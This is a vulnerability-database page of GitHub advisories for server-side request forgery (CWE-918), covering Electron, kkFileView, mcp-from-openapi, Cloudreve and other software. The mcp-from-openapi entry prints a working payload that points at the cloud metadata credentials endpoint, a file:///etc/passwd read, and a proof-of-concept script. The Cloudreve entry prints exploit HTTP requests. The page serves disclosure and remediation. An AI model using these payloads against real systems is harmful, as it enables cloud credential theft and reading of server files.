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Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5690 vulnerabilities reference this CWE, most recent first.

GHSA-V64R-4M7R-3MVQ

Vulnerability from github – Published: 2026-08-05 16:04 – Updated: 2026-08-05 16:04
VLAI
Summary
Electron: HTTP redirect followed into local file loader
Details

Impact

When following HTTP redirects, net.fetch() and net.request() did not restrict which schemes a redirect could target. A remote server could redirect a request to a local resource, and if the app returns or forwards the response body, local file contents could be disclosed.

Apps are only affected if they make net requests to attacker-influenced URLs with redirects followed (the default) and expose the response body. Apps that only request fixed, trusted URLs are not affected.

Workarounds

Set redirect: 'error' or redirect: 'manual' on requests to untrusted URLs and validate any redirect target before following it.

Fixed Versions

  • 42.0.0-beta.3
  • 41.2.1
  • 40.9.0
  • 39.8.8

For more information

If you have any questions or comments about this advisory, email Electron at security@electronjs.org

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "39.8.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 40.9.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "40.0.0-alpha.1"
            },
            {
              "fixed": "40.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "41.0.0-alpha.1"
            },
            {
              "fixed": "41.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "42.0.0-alpha.1"
            },
            {
              "fixed": "42.0.0-beta.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T16:04:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nWhen following HTTP redirects, `net.fetch()` and `net.request()` did not restrict which schemes a redirect could target. A remote server could redirect a request to a local resource, and if the app returns or forwards the response body, local file contents could be disclosed.\n\nApps are only affected if they make `net` requests to attacker-influenced URLs with redirects followed (the default) and expose the response body. Apps that only request fixed, trusted URLs are not affected.\n\n### Workarounds\nSet `redirect: \u0027error\u0027` or `redirect: \u0027manual\u0027` on requests to untrusted URLs and validate any redirect target before following it.\n\n### Fixed Versions\n* `42.0.0-beta.3`\n* `41.2.1`\n* `40.9.0`\n* `39.8.8`\n\n### For more information\nIf you have any questions or comments about this advisory, email Electron at [security@electronjs.org](mailto:security@electronjs.org)",
  "id": "GHSA-v64r-4m7r-3mvq",
  "modified": "2026-08-05T16:04:09Z",
  "published": "2026-08-05T16:04:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/security/advisories/GHSA-v64r-4m7r-3mvq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/electron/electron"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Electron: HTTP redirect followed into local file loader"
}

GHSA-V6HF-4FPR-7XXC

Vulnerability from github – Published: 2022-10-18 12:00 – Updated: 2022-10-20 19:00
VLAI
Details

kkFileView 4.0 is vulnerable to Server-side request forgery (SSRF) via controller\OnlinePreviewController.java.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-42149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-17T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "kkFileView 4.0 is vulnerable to Server-side request forgery (SSRF) via controller\\OnlinePreviewController.java.",
  "id": "GHSA-v6hf-4fpr-7xxc",
  "modified": "2022-10-20T19:00:32Z",
  "published": "2022-10-18T12:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xiaojiangxl/paper/blob/main/kkFileView/ssrf_vul_en.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V6HG-MV73-76VG

Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-24 21:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Burhan Nasir Smart Auto Upload Images smart-auto-upload-images allows Server Side Request Forgery.This issue affects Smart Auto Upload Images: from n/a through <= 1.2.2.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-23803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-19T09:16:13Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Burhan Nasir Smart Auto Upload Images smart-auto-upload-images allows Server Side Request Forgery.This issue affects Smart Auto Upload Images: from n/a through \u003c= 1.2.2.",
  "id": "GHSA-v6hg-mv73-76vg",
  "modified": "2026-02-24T21:31:32Z",
  "published": "2026-02-19T18:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23803"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/smart-auto-upload-images/vulnerability/wordpress-smart-auto-upload-images-plugin-1-2-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V6PH-XCQ9-QXXJ

Vulnerability from github – Published: 2026-04-08 19:22 – Updated: 2026-04-09 14:29
VLAI
Summary
mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications
Details

Summary

The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.

Affected Versions

<= 2.1.2 (latest)

CWE

CWE-918: Server-Side Request Forgery (SSRF)

Vulnerability Details

File: index.js lines 870-875

When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:

this.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(
  JSON.parse(JSON.stringify(this.document))
);

No options are passed to .dereference() — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:

  • http:// and https:// URLs (internal services, cloud metadata)
  • file:// URLs (local filesystem)

This is the default behavior of json-schema-ref-parser — it resolves all $ref pointers by fetching the referenced resource.

Exploitation

Attack 1: SSRF to internal services / cloud metadata

A malicious OpenAPI spec containing:

{
  "openapi": "3.0.0",
  "info": { "title": "Evil API", "version": "1.0" },
  "paths": {
    "/test": {
      "get": {
        "operationId": "getTest",
        "summary": "test",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
                }
              }
            }
          }
        }
      }
    }
  }
}

When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.

Attack 2: Local file read

{
  "$ref": "file:///etc/passwd"
}

The ref parser reads local files and includes their contents in the dereferenced output.

Proof of Concept

const http = require('http');
const { OpenAPIToolGenerator } = require('mcp-from-openapi');

// Start attacker server to prove SSRF
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'application/json'});
    res.end('{"type":"string"}');
});

srv.listen(9997, async () => {
    const spec = {
        openapi: '3.0.0',
        info: { title: 'Evil', version: '1.0' },
        paths: {
            '/test': {
                get: {
                    operationId: 'getTest',
                    summary: 'test',
                    responses: {
                        '200': {
                            description: 'OK',
                            content: {
                                'application/json': {
                                    schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' }
                                }
                            }
                        }
                    }
                }
            }
        }
    };

    const gen = new OpenAPIToolGenerator(spec, { validate: false });
    await gen.initialize();
    // Output: "SSRF HIT: GET /ssrf-proof"
    // The library fetched our attacker URL during $ref dereferencing.

    srv.close();
});

Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().

Impact

  • Cloud credential theft — $ref pointing to http://169.254.169.254/ steals AWS/GCP/Azure metadata
  • Internal network scanning — $ref values can probe internal services and ports
  • Local file read — file:// protocol reads arbitrary files from the server filesystem
  • No privileges required — attacker only needs to provide a crafted OpenAPI spec to any application using this library

Suggested Fix

Pass resolver options to dereference() that restrict which protocols and hosts are allowed:

this.dereferencedDocument = await $RefParser.dereference(
  JSON.parse(JSON.stringify(this.document)),
  {
    resolve: {
      file: false,        // Disable file:// protocol
      http: {
        // Only allow same-origin or explicitly allowed hosts
        headers: this.options.headers,
        timeout: this.options.timeout,
      }
    }
  }
);

Or disable all external resolution and require all schemas to be inline:

this.dereferencedDocument = await $RefParser.dereference(
  JSON.parse(JSON.stringify(this.document)),
  {
    resolve: { file: false, http: false, https: false }
  }
);
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mcp-from-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@frontmcp/sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@frontmcp/adapters"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39885"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:22:53Z",
    "nvd_published_at": "2026-04-08T21:17:00Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `mcp-from-openapi` library uses `@apidevtools/json-schema-ref-parser` to dereference `$ref` pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing `$ref` values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the `initialize()` call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.\n\n\n## Affected Versions\n\n`\u003c= 2.1.2` (latest)\n\n## CWE\n\nCWE-918: Server-Side Request Forgery (SSRF)\n\n## Vulnerability Details\n\n**File:** `index.js` lines 870-875\n\nWhen `OpenAPIToolGenerator.initialize()` is called, it dereferences the OpenAPI document using `json-schema-ref-parser`:\n\n```javascript\nthis.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(\n  JSON.parse(JSON.stringify(this.document))\n);\n```\n\nNo options are passed to `.dereference()` \u2014 no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in `$ref` values, including:\n\n- `http://` and `https://` URLs (internal services, cloud metadata)\n- `file://` URLs (local filesystem)\n\nThis is the default behavior of `json-schema-ref-parser` \u2014 it resolves all `$ref` pointers by fetching the referenced resource.\n\n## Exploitation\n\n### Attack 1: SSRF to internal services / cloud metadata\n\nA malicious OpenAPI spec containing:\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"Evil API\", \"version\": \"1.0\" },\n  \"paths\": {\n    \"/test\": {\n      \"get\": {\n        \"operationId\": \"getTest\",\n        \"summary\": \"test\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhen processed by `OpenAPIToolGenerator`, the library fetches `http://169.254.169.254/latest/meta-data/iam/security-credentials/` from the server, potentially leaking AWS IAM credentials.\n\n### Attack 2: Local file read\n\n```json\n{\n  \"$ref\": \"file:///etc/passwd\"\n}\n```\n\nThe ref parser reads local files and includes their contents in the dereferenced output.\n\n## Proof of Concept\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst { OpenAPIToolGenerator } = require(\u0027mcp-from-openapi\u0027);\n\n// Start attacker server to prove SSRF\nconst srv = http.createServer((req, res) =\u003e {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {\u0027Content-Type\u0027: \u0027application/json\u0027});\n    res.end(\u0027{\"type\":\"string\"}\u0027);\n});\n\nsrv.listen(9997, async () =\u003e {\n    const spec = {\n        openapi: \u00273.0.0\u0027,\n        info: { title: \u0027Evil\u0027, version: \u00271.0\u0027 },\n        paths: {\n            \u0027/test\u0027: {\n                get: {\n                    operationId: \u0027getTest\u0027,\n                    summary: \u0027test\u0027,\n                    responses: {\n                        \u0027200\u0027: {\n                            description: \u0027OK\u0027,\n                            content: {\n                                \u0027application/json\u0027: {\n                                    schema: { \u0027$ref\u0027: \u0027http://127.0.0.1:9997/ssrf-proof\u0027 }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    const gen = new OpenAPIToolGenerator(spec, { validate: false });\n    await gen.initialize();\n    // Output: \"SSRF HIT: GET /ssrf-proof\"\n    // The library fetched our attacker URL during $ref dereferencing.\n\n    srv.close();\n});\n```\n\n**Tested and confirmed** on mcp-from-openapi v2.1.2. The attacker server receives the GET request during `initialize()`.\n\n## Impact\n\n- **Cloud credential theft** \u2014 `$ref` pointing to `http://169.254.169.254/` steals AWS/GCP/Azure metadata\n- **Internal network scanning** \u2014 `$ref` values can probe internal services and ports\n- **Local file read** \u2014 `file://` protocol reads arbitrary files from the server filesystem\n- **No privileges required** \u2014 attacker only needs to provide a crafted OpenAPI spec to any application using this library\n\n## Suggested Fix\n\nPass resolver options to `dereference()` that restrict which protocols and hosts are allowed:\n\n```javascript\nthis.dereferencedDocument = await $RefParser.dereference(\n  JSON.parse(JSON.stringify(this.document)),\n  {\n    resolve: {\n      file: false,        // Disable file:// protocol\n      http: {\n        // Only allow same-origin or explicitly allowed hosts\n        headers: this.options.headers,\n        timeout: this.options.timeout,\n      }\n    }\n  }\n);\n```\n\nOr disable all external resolution and require all schemas to be inline:\n\n```javascript\nthis.dereferencedDocument = await $RefParser.dereference(\n  JSON.parse(JSON.stringify(this.document)),\n  {\n    resolve: { file: false, http: false, https: false }\n  }\n);\n```",
  "id": "GHSA-v6ph-xcq9-qxxj",
  "modified": "2026-04-09T14:29:54Z",
  "published": "2026-04-08T19:22:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/frontmcp/security/advisories/GHSA-v6ph-xcq9-qxxj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39885"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agentfront/frontmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/frontmcp/releases/tag/v1.0.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications"
}

GHSA-V6VR-JVVR-P4M5

Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2022-08-13 00:00
VLAI
Details

Server-Side Request Forgery (SSRF) in GitHub repository kareadita/kavita prior to 0.5.4.1.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-2756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-10T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) in GitHub repository kareadita/kavita prior to 0.5.4.1.",
  "id": "GHSA-v6vr-jvvr-p4m5",
  "modified": "2022-08-13T00:00:26Z",
  "published": "2022-08-11T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kareadita/kavita/commit/9c31f7e7c81b919923cb2e3857439ec0d16243e4"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/95e7c181-9d80-4428-aebf-687ac55a9216"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V6W6-358X-2433

Vulnerability from github – Published: 2026-07-24 21:50 – Updated: 2026-07-24 21:50
VLAI
Summary
Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests
Details

Summary

Cloudreve exposes two admin node test endpoints under the Admin.Read OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for Admin.Read to trigger operational network actions that should require Admin.Write.

Impact

An attacker who obtains an admin-authorized OAuth token with Admin.Read but not Admin.Write can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.

Affected version

Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.

Technical details

The authenticated admin route group requires only Admin.Read:

auth := v4.Group("")
auth.Use(middleware.LoginRequired())
auth.Use(middleware.RequiredScopes(types.ScopeAdminRead))
admin := auth.Group("admin", middleware.IsAdmin())

The following routes are registered without ScopeAdminWrite:

node.POST("test",
    controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),
    controllers.AdminTestSlave,
)
node.POST("test/downloader",
    controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),
    controllers.AdminTestDownloader,
)

By contrast, node create, update, and delete routes do require Admin.Write:

node.PUT("", middleware.RequiredScopes(types.ScopeAdminWrite), ...)
node.PUT(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)
node.DELETE(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)

TestNodeService.Test() parses the attacker-supplied node server and sends a request to it:

slave, err := url.Parse(service.Node.Server)
...
res, err := r.Request(
    "POST",
    routes.SlavePingRoute(slave),
    bytes.NewReader(bodyByte),
    ...
)

TestNodeDownloaderService.Test() constructs a downloader from attacker-supplied node settings and invokes its network test method.

Reproduction

The following was verified against a disposable Cloudreve instance built from the affected commit.

Prerequisite: an admin user authorizes an OAuth client with Admin.Read but not Admin.Write.

  1. Obtain an OAuth access token whose scope is only:
openid Admin.Read

The returned token response contains:

{
  "token_type": "Bearer",
  "scope": "openid Admin.Read"
}
  1. Confirm the token cannot perform an Admin.Write node operation:
PUT /api/v4/admin/node HTTP/1.1
Authorization: Bearer <admin-read-oauth-token>
Content-Type: application/json

{
  "node": {
    "name": "deny-control",
    "server": "http://127.0.0.1:18080",
    "type": "slave",
    "slave_key": "poc"
  }
}

Observed response:

{
  "code": 40089,
  "msg": "Insufficient scope: Admin.Write"
}
  1. Use the same Admin.Read-only OAuth token to call the node test endpoint with an attacker-controlled server URL:
POST /api/v4/admin/node/test HTTP/1.1
Authorization: Bearer <admin-read-oauth-token>
Content-Type: application/json

{
  "node": {
    "id": 124,
    "name": "ssrf-poc",
    "server": "http://127.0.0.1:18080",
    "type": "slave",
    "slave_key": "attacker-controlled-key"
  }
}

Observed Cloudreve response:

{
  "code": 0,
  "msg": ""
}
  1. The canary server at 127.0.0.1:18080 received the backend request:
POST /api/v4/slave/ping HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Cloudreve/4.14.0
Authorization: Bearer Cr <hmac-signature>:<timestamp>
X-Cr-Node-Id: 124
X-Cr-Site-Url: http://127.0.0.1:15212
Content-Length: 37

{"callback":"http://127.0.0.1:15212"}

This proves the Admin.Read-only OAuth token is denied on a sibling Admin.Write route but can still trigger a server-side request to an attacker-selected node URL through the test route.

Root cause

The route group enforces Admin.Read by default and relies on per-route Admin.Write middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the Admin.Write set even though they execute server-side network actions using attacker-supplied configuration.

Remediation

  • Add middleware.RequiredScopes(types.ScopeAdminWrite) to both node test routes.
  • Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.
  • Audit other admin test endpoints for read-scoped side effects.
Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0-20260626022735-332a9d800205"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.0-20250225100611-da4e44b77af4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:50:23Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`.\n\n## Impact\n\nAn attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nThe authenticated admin route group requires only `Admin.Read`:\n\n```go\nauth := v4.Group(\"\")\nauth.Use(middleware.LoginRequired())\nauth.Use(middleware.RequiredScopes(types.ScopeAdminRead))\nadmin := auth.Group(\"admin\", middleware.IsAdmin())\n```\n\nThe following routes are registered without `ScopeAdminWrite`:\n\n```go\nnode.POST(\"test\",\n    controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),\n    controllers.AdminTestSlave,\n)\nnode.POST(\"test/downloader\",\n    controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),\n    controllers.AdminTestDownloader,\n)\n```\n\nBy contrast, node create, update, and delete routes do require `Admin.Write`:\n\n```go\nnode.PUT(\"\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.PUT(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.DELETE(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\n```\n\n`TestNodeService.Test()` parses the attacker-supplied node server and sends a request to it:\n\n```go\nslave, err := url.Parse(service.Node.Server)\n...\nres, err := r.Request(\n    \"POST\",\n    routes.SlavePingRoute(slave),\n    bytes.NewReader(bodyByte),\n    ...\n)\n```\n\n`TestNodeDownloaderService.Test()` constructs a downloader from attacker-supplied node settings and invokes its network test method.\n\n## Reproduction\n\nThe following was verified against a disposable Cloudreve instance built from the affected commit.\n\nPrerequisite: an admin user authorizes an OAuth client with `Admin.Read` but not `Admin.Write`.\n\n1. Obtain an OAuth access token whose scope is only:\n\n```text\nopenid Admin.Read\n```\n\nThe returned token response contains:\n\n```json\n{\n  \"token_type\": \"Bearer\",\n  \"scope\": \"openid Admin.Read\"\n}\n```\n\n2. Confirm the token cannot perform an `Admin.Write` node operation:\n\n```http\nPUT /api/v4/admin/node HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"name\": \"deny-control\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"poc\"\n  }\n}\n```\n\nObserved response:\n\n```json\n{\n  \"code\": 40089,\n  \"msg\": \"Insufficient scope: Admin.Write\"\n}\n```\n\n3. Use the same `Admin.Read`-only OAuth token to call the node test endpoint with an attacker-controlled server URL:\n\n```http\nPOST /api/v4/admin/node/test HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"id\": 124,\n    \"name\": \"ssrf-poc\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"attacker-controlled-key\"\n  }\n}\n```\n\nObserved Cloudreve response:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\"\n}\n```\n\n4. The canary server at `127.0.0.1:18080` received the backend request:\n\n```http\nPOST /api/v4/slave/ping HTTP/1.1\nHost: 127.0.0.1:18080\nUser-Agent: Cloudreve/4.14.0\nAuthorization: Bearer Cr \u003chmac-signature\u003e:\u003ctimestamp\u003e\nX-Cr-Node-Id: 124\nX-Cr-Site-Url: http://127.0.0.1:15212\nContent-Length: 37\n\n{\"callback\":\"http://127.0.0.1:15212\"}\n```\n\nThis proves the `Admin.Read`-only OAuth token is denied on a sibling `Admin.Write` route but can still trigger a server-side request to an attacker-selected node URL through the test route.\n\n## Root cause\n\nThe route group enforces `Admin.Read` by default and relies on per-route `Admin.Write` middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the `Admin.Write` set even though they execute server-side network actions using attacker-supplied configuration.\n\n## Remediation\n\n- Add `middleware.RequiredScopes(types.ScopeAdminWrite)` to both node test routes.\n- Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.\n- Audit other admin test endpoints for read-scoped side effects.",
  "id": "GHSA-v6w6-358x-2433",
  "modified": "2026-07-24T21:50:24Z",
  "published": "2026-07-24T21:50:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/commit/332a9d800205082a2469e555fd66a63f18d9d5dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudreve/cloudreve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests"
}

GHSA-V73R-F3CX-PM99

Vulnerability from github – Published: 2023-12-16 12:30 – Updated: 2023-12-16 12:30
VLAI
Details

A vulnerability classified as critical has been found in kalcaddle KodExplorer up to 4.51.03. Affected is an unknown function of the file plugins/webodf/app.php. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The name of the patch is 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248220.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6852"
  ],
  "database_specific": {
